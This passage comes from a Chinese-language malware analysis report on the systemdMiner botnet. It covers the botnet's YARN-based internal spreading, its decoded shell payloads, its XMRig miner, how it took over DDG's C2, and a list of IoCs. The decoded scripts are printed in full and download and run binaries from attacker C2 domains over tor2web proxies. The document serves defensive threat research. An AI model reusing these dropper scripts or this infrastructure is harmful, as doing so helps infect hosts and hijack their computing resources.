前文说过，systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg 相同，不同的是把自身的守护进程命名为 -rbash 。

该样本主要用于内网传播，针对 172.16.0.0/12 、192.168.0.0/16 和 10.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段：

如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 8088 端口：

对于探测成功的目标主机，则利用以下 Payload 来传播自身：

Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login-h
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi


可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同，此处不赘述。


3.3 systemd.sh

前文提到，systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中，会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期，这个 systemd.sh 脚本没有实质性的内容：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin


大概在 2019.4.23 中午，背后的攻击者才把 systemd.sh 正式上线，最新的 systemd.sh 的内容：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.d2web.org
fi


可以看到其目的是下载 systemd-analyze 并执行。


3.4 systemd-analyze

前文提到， systemdMiner 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 systemd-analyze 。

此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串：

挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 "x"，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下：

经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下：

DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund
资助的环保监测项目

上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。


4. 总结

综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， systemdMiner 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 /slave ，systemdMiner 的 Report URI 也是 /slave ，但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。

所以我们认为，DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后，systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。

在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。


5. IoCs

C&C Domain:

aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org


MD5:

64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6